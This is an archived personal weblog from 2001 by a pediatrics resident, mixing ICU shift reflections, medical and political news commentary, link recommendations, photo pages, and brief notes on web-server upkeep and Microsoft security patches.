It’s satisfying to see that people learn lessons. I was on in the ICU for a 24-hour shift yesterday, and in the late afternoon, a senior peds resident on one of the floors of the hospital came up to us to tell us about a patient who was getting sicker — she appeared septic, and they wanted to get her to us immediately. And, unlike the last experience I had with a patient who got septic on the floor, she got to us quickly, and we were able to manage her appropriately. And yeah, she’s still very sick, but she’s going to make it through this.

It’s actually sorta pathetic how happy little toys like these make me. I’ve been looking to get a new, small flashlight to hang on my stethoscope for a while; I all of a sudden realized that my REI dividend from last year could help get me off my ass, and now both those babies are on their way to me.

In a bold — and necessary — move, the editors of four of the biggest medical journals are taking a stand and demanding the guaranteed scientific independence of researchers who publish drug company-sponsored clinical studies. It’s a tricky realm in which to tread. Big pharmaceuticals have become the largest funder of scientific research, and to lose that source of funding would be a big hit to American biomedical researc; that being said, corporate self-interest should not be able to dictate which medications make it onto the market in the U.S., and which are put on the market despite evidence of their failure.

Remember the Space Shuttle mission in February of last year, in which the Shuttle trailed a huge boom that took radar images of most of the Earth’s surface? NASA has begun releasing the images that were generated from that data; there are some amazing topographical pictures, with promises of mucho more to come.

qHr:

It was a tough end to my first week in the PICU. Friday night, I left at around 8:30 PM, after spending three hours admitting a sick sick infant — manually ventilating him, getting lines into him, running big doses of blood pressure medications into him, and everything else it takes to acutely resuscitate someone as sick as he was. When I got back in yesterday morning (to take a 24-hour call in the unit), I learned that he arrested within ten minutes of me leaving; the team spent over four hours getting him back and losing him again, the surgeons opened his belly at the bedside, and he ultimately died, most likely of overwhelming sepsis. Looking through the chart yesterday, it was moderately clear that the team which had been managing the little boy on the floor could have been much more on top of him than they were, and I spent the rest of the day in a funk.

Otherwise, though, I’m still enjoying the PICU, and it’s serving to remind me that I have this life in the hospital that keeps me occupied and (most of the time) very happy, when other things don’t quite manage to do so.

If Robert Iler (AJ Soprano) is convicted, he could face fifteen years in prison; I wonder how they’ll write him out of the Sopranos if it happens.

Primary pulmonary hypertension of childhood is a nasty disease. (Imagine if the blood pressure in all of the vessels in your lungs skyrocketed, pushing all the blood out of them, and preventing you from getting any oxygen from your lungs into your bloodstream. That’s primary pulmonary hypertension.) Traditionally, it’s treated with a continuous intravenous infusion of a drug called prostacyclin — it’s a medicine that causes the pressure in those vessels to lower, and the people who are on it need to have a permanent IV catheter and a continuously-running IV pump on them at all times. Doctors at Boston Children’s Hospital, however, have come up with a potential new treatment — intravenous sildenafil, otherwise known as Viagra.

Damn, talk about a kick-ass digital camera… (I wonder if Heather will accept any images taken with this one into the Mirror Project.)

For a good review of the extension of typography to the computer screen, check out Alien Typography. The article comes from Digital Web Magazine, which looks to be a sure-fire bookmarkable site (despite the fact that its current home page design leaves me wondering if the site’s designers read the content).

qHr:

Things that I learned in the PICU today:

  1. It’s possible for a doctor’s arm, an appropriate-sized mask, and an ambu bag to substitute for a child’s diaphragm for a really long time. Two childrens’, in fact.
  2. The minute that you declare that a child is “out of the woods,” the likelihood of that child seizing goes up tenfold.
  3. In times of stress, parents tend to put all their focus on things that they can control; it may mean that they don’t seem to be grasping the seriousness of their child’s condition, but in reality, they are just trying to contribute what they are able to in order to get the child better.

How depressing. This girl doesn’t look to be more than twelve or thirteen years old.

The group which supervises all the greater Boston area Boy Scouts troops has approved a policy which will allow gay scoutmasters to remain as part of the organization. Of course, it’s a don’t-ask-don’t-tell policy, which means that it’s just sweeping the issue under the rug; despite hanging the policy on the notion that “discussions about sexual orientation do not have a place in the Scouts,” I can’t imagine that any heterosexuals will be kicked out of the organization for making references to their straightness.

Meanwhile, this week’s Newsweek cover story (mirror) has some pretty encouraging statistics: 44 United Way chapters have backed away from the Scouts, as have many big companies, cities, and churches. Of course, one prominent person who has not backed away from them is our President; instead, he’s busy holding the Scouts’ values up as “the values of America.” (Please excuse me while I become ill.)

I swear to you all, I think that my digicam starts quivering when it senses a mirror nearby.

I read the story about the young child who was killed in the MRI machine in Westchester, and immediately wondered how often near-miss events happen that avoid tragedy (and notoriety) simply by chance. Every time that I have to bring a child into the MRI rooms, I have mini-nightmares about forgetting to remove something from my pockets or clothes that could fly across the room and hit someone, and it takes everything in me to take that first step across the threshold of the room.

I feel a bit guilty that it’s taken me this long to point to Rob’s words about the suicide of Paul Wayment, the man whose son died after he left the boy in his truck while he was hunting last year. Rob’s a great writer, and his sentiments on this specific issue resonate in me (especially since I’m guilty as charged). The most poignant part is the end:

What’s the lesson? I’m not sure. Perhaps it’s to beware of complacency, or of righteous indignation. YOU would never make a mistake like that? Really? Did you ever make a mistake that didn’t have serious consequences, like turning your back on your baby in the tub for ten seconds while you grab that towel you forgot? You came back and the baby was still sitting there, scooping up the Mister Bubble bubbles and eating them. You didn’t have to call the police and tell them you let your baby die, that you took the most important charge of your life and you fucked it up. And the reason you didn’t have to make that call? It wasn’t your turn to have Bad Luck land on you. Maybe next time. Maybe not. Pay attention, stay sharp and maybe it’ll never happen to you. But be careful of how you judge those for whom stupid mistakes had powerful repercussions. Irony is not a force to be played with.

qHr:

My first PICU call went well. I had nine patients of my own, four of whom were intubated and on ventilators, and everybody decided to behave relatively well over the duration of the night. Learning to manage the hyperacute changes that can take place in critically ill infants and children is going to take a lot of work and hands-on experience, and I can’t imagine a better place for that than the ICU that I’m in. Next up is a full 24-hour call this weekend; that should provide a few more challenges, and hopefully, some great learning.

Quick post-first-day-in-the-PICU update: it was a good day. Despite always feeling that someone was going to suddenly jump up, point their finger at me, and expose me as a total impostor, I picked up my six patients this morning (ugh, 6:45 AM!) and had a great time taking care of them for the whole day. Things work so smoothly in the PICU; it’s nice to see a place that’s pretty insulated from the politics and bickering that can take place most other places in the hospital. And I’m finding more and more that I like acute care… you really have a chance to feel like you’re making a difference, and you can actually see that difference a lot of the time.

Now, for the bigger step — I’m on call tomorrow night. Wish me luck…

Oh my god, if I had a car, I’d be all over this: two McDonalds on Long Island are testing allowing drive-through customers to pay for their meals with E-ZPass.

There’s just no other way to say it — Lance Armstrong is just frickin’ amazing. Going from testicular cancer — scratch that, metastatic testicular cancer — to three straight Tour de France wins is just completely, overwhelmingly, totally amazing.

Eeeek — and I was on an Amtrak train yesterday!

In spite of all the bad reviews, I saw America’s Sweethearts over the weekend and loved it. Billy Crystal is hilarious, Catherine Zeta Jones is vicious, Julia Roberts is understated, Stanley Tucci is nefarious, and the whole thing just worked for me.

I really have nothing more to add to this.

I start the pediatric ICU tomorrow, and I’d be lying to you if I said that I’m not pretty terrified. Combine the sickest of the sick kids with the clearest need for excellent acute management skills, and my head starts to hurt a little. Needless to say, I’m going to be shellshocked for a few days, so forgive me if I’m a bit terse here.

qHr:

I spent a nice early weekend in D.C. (hence the lack of updates for a few days there); it let me indulge in my love of trains, spend some great time with SLC and her awesome friends, and I got to get out of the city before starting what could be my hardest rotation yet. The result of the trip was a realization that things don’t move nearly as fast as my impatient soul wants them to, though, and I’m now left with a lot to think about and a lot to explore within the caverns of my own brain. (Brief addendum: you rock. Yes, you.)

sts-104 night landing

The Shuttle’s back from its latest trip up to the space station; NASA has put a bunch of pretty cool videos up from the mission.

I mean, come on — how can I not giggle when, perusing the Yahoo news headline site, I see an article entitled “Survey: Cybersex Takes Less Time Than Expected”? Of course, there’s great quotage: “While men might be looking for stimulation, women often seem to be looking for education.” (To which I said, “It’s because men know what they’re doing.” To which SLC said, “No, it’s because men think they know what they’re doing!”)

If you want to understand why it is that I love my pediatrics work so damn much, you really only need to take a look at the following two pictures (click on them to get bigger versions):

twins sleeping   me and the twins

I really don’t know how to reconcile the news from a few days ago with this news — so rates of sex-related HIV infection among teenage girls are on the rise, but rates of childbirth among teenage girls are falling? The first sorta necessitates sex without protection, but the second points away from that altogether. (Or, teenage girls are availing themselves of the various post-coital contraception and abortion options more, or that teenage boys are less fertile.)

Bummer — I was all excited to start using, and to point to, Matt Webb’s Googlematic (an AOL Instant Messenger-to-Google interface), but then, it fell over and went boom. Hopefully, Matt will work out the issue (or Google will clarify that they don’t want him doing what he’s doing, or whatever); in the mean time, awesome idea, Matt.

No matter how you feel about Microsoft and their market behavior, you sorta have to admit that the very definition of lunacy is letting a U.S. Senator design software. I mean, these guys can barely design legislation worth a damn. Every bill that comes out of Congress has about fourteen quintillion amendments tacked on that have nothing to do with the original intent of the bill; if you think that Microsoft’s guilty of constantly adding features that don’t need to be there, you just wait until Chuckie Schumer starts designing Windows.

I hate the way the dhtml stuff above grab the tab key events instead of jumping down to this textarea. Maybe a “tabindex” setting could fix that?

beees!

Last week’s issue of Sports Illustrated has an insert section called SI Adventure, and in it, Austin Murphy has a great column about the lunacy and selfishness of people who engage in risky extreme and adventure sports. Most of his examples revolve around people who hike or climb way above their skill level and end up putting the lives of rescuers in danger who are sent in to rescue them; one such group that he missed is the Ohio church group who had to be rescued a second time after failing to complete an Alaskan hike.

I want pictures!

As a pediatrician, numbers like this depress the hell out of me: from 1994 to 1998, the rate of heterosexual sex-related HIV infection in teenage girls rose 117%; over the same period, IV drug-related HIV infection rose 90%. Somewhere, we — society as a whole — aren’t doing enough to prevent the spread of HIV.

When did LexisOne pop up on the net? Between the free case law (between 1996 and now) and the legal news and commentary, this is a killer resource to have on the web.

For a completely moronic view of last week’s protests in Genoa (and last year’s protests in Seattle), just flip to today’s Wall Street Journal editorial page. According to the unsigned piece, what happened in Genoa is Bill Clinton’s fault, and standing in stark contrast, Bush has shown much better control over such situations. What a total load of crap — something that the second-to-last paragraph implicitly acknowledges by saying that those who caused the only real problems at the protests are unconvincable “hooligans” who aren’t even there to protest globalization or world trade. (The reader responses to the piece are pretty funny, though.)

Thanks to Lawrence for passing on a link to an explanation of how to find and punish bad webcrawlers and robots. I particularly like the first one — set up a directory only referenced by the file that robots are supposed to use to know what not to index, and then when something shows up there, you’ve caught it.

Thanks to Anil, I found Mena’s latest post, Radio, Radio, an NPR-type audio entry about finding an old audio cassette of a toddler Mena’s babbling, and surprisingly, a young Mena father singing. It’s definitely worth the 3 minutes and 19 seconds it takes to listen to. (And as an aside, why have I never known about her site?)

It’s nice to know that Microsoft has a sense of humor about the abysmal failure that was Clippy.

I rarely look at the search terms that people use to click through to Q, but yesterday, one caught my eye: cursing like a pro. Funny, damn funny.

I really don’t know what I could possibly say about this. (A not-terribly-translated page about the artist is here, thanks to Google.)

As part of a hospital project, I spent some serious time yesterday writing a new Manila plug-in that wrangles the webserver logs here. (If there’s any interest, I’ll think about cleaning it up and making the plug-in available for public consumption.) After I was done (or provisionally done, since I have a feeling I’ll spend a lot of time over the coming weeks tweaking and tweaking), I went searching for good resources to identify search engine spiders and crawlers; my next project is to get a decent idea of who’s crawling this site, and who abides by the rules for what’s permissible to crawl.

footprint on the moon

At 4:17:40 PM Eastern time today, it was the 32nd anniversary of the first manned landing on the Moon. At 10:56:15 PM Eastern time tonight, it will be the 32nd anniversary of the first human step onto an extraterrestrial body. The fact that we, as a species, managed to fly to the moon, putter around a bit, and then come back to Earth still amazes me every time I think about it.

Why do I have a feeling that there are a ton of scandals, of more consequence than Whitewater ever had a chance of being, lurking in the Bush Administration? You have Cheney denying all access to records of the people and companies who lobbied and met with the Administration while the current energy policy was being shaped; likewise, you have Karl Rove meeting with companies about policy decisions when he owns stock in those very same companies. How much is lurking under the surface?

What a great, great photo. (I actually wonder how the photographer got the shot.)

About the only way I can stomach writing about the violent protests and the death at the G8 summit in Genoa is by simply linking to the MetaFilter thread on it, and letting people form their own conclusions.

Come on, is there anyone who would think that I’d pass up the opportunity to link to a news story entitled “Wild asses struggle for life in Iran”?

Scott Shuger, normally the author of the Today’s Papers feature in Slate, has a column in the online mag talking about the irresponsibility of having septuplets in today’s world. There are a lot of good points in the column — like, for example, that the one family of septuplets born in Washington, D.C. will cost over $2 million before they even leave the hospital. Wow.

If you haven’t heard about it elsewhere, then hear it here: if you run IIS 4.0 or 5.0 on Windows NT or Windows 2000, there’s a security patch you should probably install.

qHr:

Today, I covered the neonatal ICU for a friend, making it my first inpatient day in the hospital in over a month and a half. Not surprisingly, my body had gotten used to outpatient and shift work; I now feel like I’ve been run through a wringer. But on the flip side, I got to spend all day taking care of the smallest of the small, and the sickest of the small, which is a pretty damn good day. And, making my day that much better, I was able to do all my own blood drawing today — a pretty great feat when we’re talking about veins the size of strands of hair, and test tubes that, at times, seem like they’d take the baby’s entire blood volume and then some.

I mean, I work in an inner-city hospital and clinic system, so I assumed that I’ve heard most of the myths that adolescents harbor when it comes to contraception and pregnancy. Apparently, though, I was wrong.

Despite the noise and annoying passengers, being a train conductor must have its moments:

Gil Murtagh’s train from Hoboken, N.J., stops at Paterson. One day recently, a pretty girl got off and ran into the arms of a young man holding flowers. From his seat, Mr. Murtagh smiled nostalgically at the lingering embrace, mood uplifted. As the train pulled out, the conductor smiled, too. “She was smooching with some guy in Hoboken also,” he said.

Let the northeastern summer begin.

Muchas felicitaciones to Matt and Kiehl-o-rama, both of whom are back in the world of the employed. And an immense, overwhelming, awe-inspiring thanks to Matt, who sent me one of the best birthday presents I could imagine getting.

I don’t know what it is, but Bryan Garner, a Texas lawyer, has managed to get himself noticed twice in the media over the past two weeks for his contributions to making legal writing more readable by the lay public. First, the New York Times pointed to the pressure he’s put on judges and lawyers to move legal citations to footnotes, rather than placing them inline in the text. Then, the Dallas Observer published a piece about his general contributions to more accessible legal prose. The funniest part of it all is the story recounted in the Observer piece about how one of the Texas Supreme Court justices offered to will Garner his entire law library if he’d just go to law school; he declined, but then later (after the books were gone), he reconsidered and ended up getting his law degree.

qHr:

Crabbiness was the word of the day, but then, the most unexpected end to the chat — “can i call you?” — led to the most open and honest conversation that I could ever hope for. Yeah, sure, I’m exhausted, all my cards are lying face-up on the table (ack!), and the little molecules of panic may be starting to stir up their comrades in revolution, but damn if I don’t feel a lot better today.

All banged up, maybe; remember, though, I’m a doctor. smiley:

I loooove auto Winer. This is the greatest web page ever.

Phil

peanut

I spent a good part of today moving my mail server (being that sendmail on Windows 2000 doesn’t seem to be ready for prime time, at least not with other processor-intensive services running on the same machine); everything seems to be working well now. If anyone has any suggestions for good, integrated web-based admin tools for sendmail on Linux, I’d be happy to hear ‘em — maintaining sendmail via all the different text files is going to get old fast.

Maybe tonight, I’ll bring my tripod out to the Great Lawn and get some firework shots that are actually worth a damn.

From Victor Stone comes one of the funnier automatic-page-generators I’ve seen in a while: the Auto-Winer. Keep this bookmark around, to prevent symptoms of withdrawal in case Dave Winer goes without updating for a few days. (For those who don’t recognize the name, Victor was the author of Stone’s Way, one of the Microsoft Developer Network columns.)

The National Security Agency security papers on Windows 2000 that I talked about a month ago have moved — the old server couldn’t handle the load, so they’re now mirrored at Conxion.

Yes, ladies and gents, we have a new nominee for funniest MetaFilter thread of all time. (And seriously, aren’t the Chandra Levy police composites the most ridiculous pictures you’ve seen, ever?)

tomb of the lord of sipan, peru

After taking a leisurely trip through the Washington Post’s slideshow of the Pam-Am Highway, I realized that I may have found my next big vacation trip. What beautiful countries and cultures… I feel like I wasted my time in San Antonio, being so much closer to all this and yet never venturing southward.

As always, a “quick trip” to Barnes & Noble for a single book turned into an hour-long affair that ended with three different books (House of Sand and Fog, by Andre Dubus III, Motherless Brooklyn, by Jonathan Lethem, and Fierce Invalids Home From Hot Climates, by Tom Robbins). It really is impossible to get out of there without spending serious money. Fortunately, it wasn’t one of the stores with a music section, or else there would have been a couple other purchases, as well.

The New York Times has a pretty great article on the growing use of maternal-fetal surgery, and the recent shift towards performing the risky procedure not to correct potentially fatal intrauterine problems, but to improve the life of a baby with a non-life-threatening diagnosis. There are some good ethical questions embedded in this one.

Talk about usability problems: the most recent RISKS Digest has a pretty funny story about a bunch of motorized shopping carts going haywire during a power outage. It turns out that the interface for charging the chairs involves plugging them in but then turning them on and placing the handle in the “forward” position — and then, when the power goes out to the outlet they’re plugged into, they surge forward and have to be chased down.

The space dork in me has tracked down yet another cool picture of the Space Shuttle launch from Thursday, although I suspect that this one will disappear in a week, when the Washington Post turns its daily photo archives into a single weekly best-of disaster of a Flash presentation.

Happy Friday the 13th!

The Public Citizen’s Health Research Group has released a report that confirms that patient dumping — refusing to treat patients without insurance or with other “objectionable” conditions — is still very much a feature of emergency room management in America. Thankfully, my hospital isn’t represented in the list of confirmed violations of the law; then again, being an incredibly urban hospital, we’re the ones that usually are dumped upon rather than the other way around.

OK, I have no idea how I didn’t know that PBS was showing a new special on Air Force One earlier this week. It may just be me, but I think that TiVo needs to be a little more aware of my viewing desires…

Cool picture alert — it’s an extended-exposure image of the Space Shuttle’s launch yesterday, with the plume arching brightly into the distance.

Wow — a group of Caltech engineers successfully used a kite to stand a 6,900-pound obelisk upright, demonstrating the possibility that the Egyptians may have pulled off the building of the pyramids and monuments without quite as much manpower as has been believed to be needed.

Recent Mirror Project submissions by yours truly: with SLC, in the lobby, and with the boys.

Combining the concepts of Dubya’s irregular mentation and Cheney’s irregular heartbeat, Tom McNichols has a pretty funny satire up over at Salon.

In one of the sillier moves I’ve seen lately, Los Angeles is looking to impose a property tax the orbiting satellites of companies based in LA, classifying them as “movable personal property.” My question: how much will the city of LA spend on court cousts fighting to be able to impose this tax?

Hey, I think I know this guy! (CNNdotCOM, tomorrow, on CNNfn, 12:30 PM Eastern.)

qHr:

“In the eyes of the residency program, you had an exceptionally good year, and we look forward to the next two years of your work with us.” My meeting with the chairman of my residency program went well, needless to say; I even got up the nerve to ask him about the entire selection process for the chief residents. All in all, a happy morning.

the nexus of the universe

There’s a new photo slideshow up: Just A Random Week.

While I’m a sucker for stories like Harrison Ford helping find a lost Boy Scout hiker, it disappoints me a little bit that if it were just a hired state trooper doing the flying and searching, he wouldn’t get any of the public noteriety for helping track down and return a 13 year-old kid to safety.

After chatting last night with a bunch of other people who maintain sites, I’m more intrigued with PHP — what it does, what it can do, and whether it is able to do everything that I can do here with my own Frontier server. So it seems fitting that, this morning, my brief pre-work surfing randomly brought me to monaural jerk; maybe I should take it as a sign, and download it to play a bit.

Go go Gadget Space Shuttle! This trip up features a new type of main engine on the shuttle, more than doubling its reliability; of course, the real goodness in this press release is the information that the engines perform at the unbelievable temperature extremes of negative 423 degrees Farenheit (the fuel) and 6,000 degrees Farenheit (the combustion). Cooooool.

qHr:

I don’t know when the last time was that I felt this tired. It’s strange — I’m on an easy month in the hospital, but it seems that my body is refusing to recognize that. And then add on top of it a few weeks of into-the-night phone calls, laying out in the sun yesterday (albeit enjoying reading and watching kids play in the surf), and then a late last night, and I feel downright pooped today. I think it’s naptime!

How did I not know that Alan Dershowitz and Richard Posner have been having a verbal duel about the Supreme Court’s involvement in the 2000 election over on Slate?

I don’t know what it is, but I like when MetaFilter threads get totally hijacked; this morning, I spent a good five minutes laughing at this series of posts.

Now here’s some good news: six medical publishers are going to provide free access to all their journals to medical schools and researchers in the poor nations of the world. The companies (Elsevier, Wolters Kluwer, Blackwell, Harcourt General, Springer-Verlag, and John Wiley & Sons) are responsible for over 1,000 medical journals, and are offering the content as part of the World Health Organization’s push to spread primary research and evidence-based medicine to the Third World.

Anil is a rockstar for pointing out c.walker eggpants (“the ongoing story of an egg and his favorite pair of pants”). I wish I were half as creative as some of the people that I run across on the web.

I’m not quite sure where I inherited the bookmark from, but I had a pretty damn great time paging through forget magazine this past weekend. Good representative examples of what’s in store for you there: Fact and Opinion (all about accordions, including the statement that National Accordion Awareness Month is “kind of like Black History Month for white people”), and Ask a Stupid Question…, a piece ruminating on the changes in newspaper sports coverage since the advent of major television sports broadcasting. The whole thing’s worth a weekly visit.

I also like Joyce Millman’s take on the resurgence of Paul Reubens (once known to you and me as Pee-Wee Herman), if only for the line: “He was childlike in the sense that children can be naughty little devils with richly creative inner lives all their own, from which grown-ups are barred.”

2001 birthday weekend

There’s a new photo slideshow up — it’s all pictures taken over last weekend, when I bought myself a digital camera. (In addition, I spent some time redoing the scripts that generate the slideshows, mainly because I was sick of how they looked before.)

Salon continues to be the place to read about Memento — this time, with a whole bunch of viewer theories. In addition, there’s a link to the Esquire reprint of Memento Mori, the short story that inspired the movie.

I’m glad that even non-medical people have caught onto the fact that the medical care Dick Cheney would be pretty much impossible for any average citizen to get. HMO approval for a major invasive procedure that is acknowledged by his own doctors as not being a medical necessity? Unlikely, for you and me at least.

It’s so nice to see that I’m not the only person who is driven insane by the stupid phone menu tree systems that it’s impossible to avoid these days. If every individual who developed the systems was required to read this article, the world would be a much better place.

qHr:

I swear, I think that there will be a time when I feel comfortable being in the position of waiting for someone else to make a decision. But right now, it still feels like there’s a hell of a lot that I can’t control, like there are a slew of variables that may or may not work out in my favor, like there are things that are a lot closer than I ever gave them credit for. Not so strangely, all of that just puts me on edge. And then I realize that it’s not like I haven’t made a decision, too — on the contrary, I’ve decided that it feels just fine right now to wait.

These are the photo pages that I’ve put together over time, documenting things that have happened in my life, or nothing at all.

qHr:

Washington D.C., March 2002: Shannon and I went down to see friends and check out the cherry blossoms.

South by Southwest, 2002: the pictures from my trip to Austin in March 2002, to finally meet all the people that I’ve been reading (and virtually communicating with) over the years.

Ground Zero, 1/1/2002: a set of images from my trip down to the site of the World Trade Center attacks on New Year’s Day 2002.

Seattle 2001: a photo log of my vacation to visit my brother in Seattle in August and September of 2001. Includes my visit to the Experience Music Project, and a hike on the Hoh River Trail to see the Blue Glacier.

Just A Random Week: a week of walking around with my camera, taking pictures whenever it fit my fancy. Features a trip to the beach, dinner with a bunch of other people with sites, and even the corner of First and First.

2001 Birthday Weekend: Random pictures taken during the weekend of my birthday in 2001.

Super Bowl 2001: Our trip to Tampa, Florida, for the 2001 Super Bowl between the Baltimore Ravens and the New York Giants.

Morrill’s Party: Michelle’s party for our graduation from med school, replete with both protodoctors and ruggers.

Super Bowl 2000: Our week-long trip to transmit back images from the Super Bowl in Atlanta, Georgia.

New Year’s Eve 1999-2000: A night in New Orleans at Emeril’s, enjoying food, wine, and the transition into 2000.

[Macro error: Can’t evaluate the expression because the name “discussionGroup” hasn’t been defined.]

the original star spangled banner

Happy 225th, America.
qHr:

Why is it that the only things worth having are those that you have to work your ass off to get? The lazy man in me doesn’t like that one bit. Of course, it doesn’t help that he and the self-protective man in me are fighting it out to see who can best author the “con” column of my evolving pro/con list. But last night’s newfound ability to say what you’re thinking — and say those little things that I need to hear every now and then — was a welcome (and sorely needed) addition to our conversations. And despite the fact that four weeks is a long time, if you don’t think that I went to bed feeling at least a little better (read: less pathetic), then I’m sorry for not being clearer — 4:30 AM can do that to a man’s ability to explain himself.

really, really greasy cheese with Mexican sausage

Thank you to all the birthday well-wishers, including those of you who were here to wish me well in person (and, specifically, those who treated me to margaritas and queso fundido con chorizo). Usually, birthdays after the big number 21 are pretty anticlimactic; this year, I had a great one, and I’m finding it pretty damn hard to wipe the satisfied smile off my face. Same time, next year?

(I just noticed that Mozilla, or at least Mozilla 0.91, doesn’t show you the images when you click on the above links; instead, it asks you which application you want to use to handle the image/jpeg that you are trying to download. I can’t, for the life of me, fathom why it’s doing this. Of course, I also just noticed that Mozilla 0.92 is out… maybe I should give that a run around the block.)

New toys rule.

For those who are still struggling with Andrea Yates’ killing of her five children, Sally Satel has a pretty good column on the current layman’s understanding of postpartum depression and psychosis.

With an implantation in Louisville, Kentucky yesterday, clinical trials officially started on the next completely-implantable artificial heart. The device, an AbioCor, has only two chambers (instead of the normal four-chambered human heart); importantly, it also has a special plastic coating that helps avoid both the destruction of blood cells and the formation of clots around the edges of the device. It’ll be interesting to see how these trials go.

Seen this weekend, on West 80th Street in New York City:

no baby carriages???

How did I manage to miss Dahlia Lithwick’s wrap-up of the D.C. Circuit Court’s Microsoft decision? As always, it’s terrific.

I’m a little ambivalent about the first Harry Potter movie. On one hand, I’m a little terrified that the movie will do terrible injustices to the books, which I loved; on the other hand, I’m a little kid inside, and can’t wait to sit and see all the people come to life on a movie screen (check out teaser B). November 16th isn’t that far away…

Awesome: Judge Thomas Penfield Jackson’s incredible anti-Microsoft bias has now been officially recognized by the U.S. justice system. Among many other things, the Appeals Court ruling (warning: PDF) states that Jackson screwed up in not allowing Microsoft an evidentiary hearing during the phase of the trial which resulted in the breakup decree, and it explicitly states that his breakup ruling can be vacated solely based on the fact that Jackson provides no relevant explanation as to why the breakup would serve its purported legal purpose. Of course, my two favorite quotes from the ruling is are in section VI, “Judicial Misconduct” (which is a must-read for people who defended Jackson’s conduct during the trial):

All indications are that the District Judge violated each of these [four] ethical precepts by talking about the case with reporters. The violations were deliberate, repeated, egregious, and flagrant. The only serious question is what consequences should follow.

Rather than manifesting neutrality and impartiality, the reports of the interviews with the District Judge convey the impression of a judge posturing for posterity, trying to please the reporters with colorful analogies and observations bound to wind up in the stories they write. Members of the public may reasonably question whether the District Judge ’s desire for press coverage influenced his judgments, indeed whether a publicity-seeking judge might consciously or subconsciously seek the publicity-maximizing outcome.

And now, for more Memento stuff: it appears to have been the movie’s official day on the online mags yesterday, with both Salon and Slate weighing in on the matter. (Warning: the Salon link is one giant spoiler; the Slate one is less so, but still gives a lot away. Thanks to Nic for sending me the links to both.)

Wow — overnight, I graduated to my second year of pediatrics residency. Cooooooool. When push comes to shove, though, the real meaning of second year is not having to wake up at 4:45 AM anymore.

I got a couple good pointers from people regarding my questions about Memento yesterday; the best two, by far, are these questions (with answers) posed by EW to director Chris Nolan, and this thread full of questions and answers on greenspun.com. (Those of you with good eyes will notice that the place the latter thread originated was on Beth’s site, the same Beth mentioned in my copyright notice on every page of this site.) My questions also brought an old high school friend out of the woodwork, which was cool. (Hi, Steve!)

D’ya know what bothers me most about states that make big hoo-hahs about passing laws banning the use of hand-held cellphones by car drivers? That there seems to be pretty good evidence that it’s no safer for drivers to use hands-free cellphones; the problem appears to be the attention that talking on the phone diverts from driving, not the technology used to have the conversation. My personal favorite is this Associated Press article, which states in the second-to-last paragraph that the above-linked 1997 New England Journal of Medicine study “found that the chance of an accident was four times greater when a driver was using a handheld cell phone” (bold added by me). It found no such association specific to handheld phones — it found it for all cellphone use while driving, including hands-free units.

Remember the relatively horrifying monkeyfishing article I pointed to a few weeks back? It turns out that parts of it were totally fabricated. What’s more, Slate now has to go back through Jay Forman’s other articles, and there appear to be other (less significant) details that have been made up.

Genius — the Asian American Journalists Association has put together a compendium of the various ways the major press outlets have referred to FuckedCompany.com in print, from “F*ckedCompany.com” to “F—edCompany.com” (yep, that’s two dashes) to “(expletive)Company.com”. (Thanks to Heather for passing this one on.)

I finally got out and saw Memento this weekend. What a great movie — I’m going to be thinking about it for days, weeks. (Click and drag over the next blank space to see the big questions I have, so long as you’ve seen it or don’t mind a spoiler or two.)

Did Samuel Jenkis really exist? Did the intruder kill Lenny’s wife? Did Lenny kill his wife? How did Lenny remember that he had a condition at all? In the last scene, when Lenny’s with his wife but has all his tattoos, what’s the tattoo that’s in the spot over his heart, the spot that was empty the rest of the movie?

Ugh — there’s a whole page full of those annoying web ads, the ones that come in over the content of the page and have no obvious way to make them stop. They appear to be called Shoshkeles; they probably should be called Terrible Ideas.

After being pointed in the general direction by a reader, I spent some of yesterday and today trying to find the best stuff on the web related to last week’s total solar eclipse; I ended up with two links. The first is to a general recap of photos, showing the diamond-ring appearance just before and the awesome corona during the eclipse. The second, though, is an awesome view of the lunar shadow crossing the southern Atlantic Ocean and Africa, taken as a series of still satellite images. (The latter is 1.8 Mb and has been up and down all weekend, so I mirrored it locally for your viewing pleasure.)

Anna Quindlen has a pretty damn good column on the horror of what happened when Andrea Yates killed her five children last week. It’s a hard column to summarize — you’ll have to go read it yourself.

Something for me to file away for use in the future: CSS Enhancements in Internet Explorer 6 Public Preview.

Mmmmmmm…. bigtime thunder and lightning. I love rainstorms.

Weird, exemplified: when your brother, who only discovered your website and the whole phenomenon of weblogs a month ago, starts introducing you to weblogs that you’ve never read.

Joel Spolsky’s new book, User Interface Design for Programmers, is now listed on Amazon. It’s backordered for three to five weeks, but given what’s available online, it’s something that most designers and programmers will want to have on their bookshelves. And, if you live in the U.S., you can just pay Joel directly and receive an signed copy, if that sort of thing appeals to you.

I got a new flatbed scanner this week, and damn if I don’t love the thing. It’s a CanoScan N1220U, and the best two things about it are that it’s small (10” by 15” by 1.3”) and that it gets its power from the USB cable, so it is truly a no-hassles, plug-and-play device. Put this one in the highly recommended column.

Funny: modern technology is a big source of stress to writers who are trying to come up with believable modern-age suspense stories. In the books of yore, being stranded and unable to call for help was plausible, but now, readers would be asking, “Where’s her cellphone?”

Just like I rediscovered DPR the other day, RobGalbraith.com seems to have gone through some huge changes since I last saw the site. It’s dedicated more to professional digital photojournalists, rather than all digital photographers, so it’s a great place to get information about the higher-end equipment.

Something that I read a bit about on the message boards at RobGalbraith.com is how Major League Baseball (could that website be any uglier?) has changed its agreements with photographers this year. Credentials now read that there is a limit to how many images can be electronically posted on a website while a game is in progress and press organizations can no longer sell images taken at MLB games, among other changes; some photographers have refused to sign the credentials, claiming freedom of the press violations. This is the NBA vs. New York Times situation all over again, but unfortunately for the photographers, that one was settled out of court, leaving there no precedent (other than a moral one) to depend upon.

Cool — there are two plug-ins available for Word 2002 that perform automatic document translation; one uses WorldLingo, the other uses Mendez. (Of course, there’s probably a finite amount of time before the kooks and crazies latch onto this one and start whining about it being another example of Microsoft forcing something they don’t want down the world’s throat.)

Me disculpo por el silencio aquí… me han distraído, de una BUENA manera.

Just when you think that it couldn’t get more disturbing: in the investigation of the girl found locked for four months in a closet, police found a book entitled “101 Activities for Kids in Tight Spaces.” Apparently, Lauren was also the victim of repeated sexual abuse. I can’t think about this any more.

There’s a new Microsoft security bulletin dealing with IIS and the Index Server. this one is an important fix, so if you run IIS (and even if you have the Index Server turned off), you’ll want to patch up your system.

I seem to keep re-discovering Digital Photography Review. It’s amazing how comprehensive a site it is; it manages to have reviews of anything that’s even remotely related to digital photography, complete with amazing photo examples of every camera. If you’re looking to buy a digital camera, don’t do it without visiting DPR.

nyc weather 06.16.2001
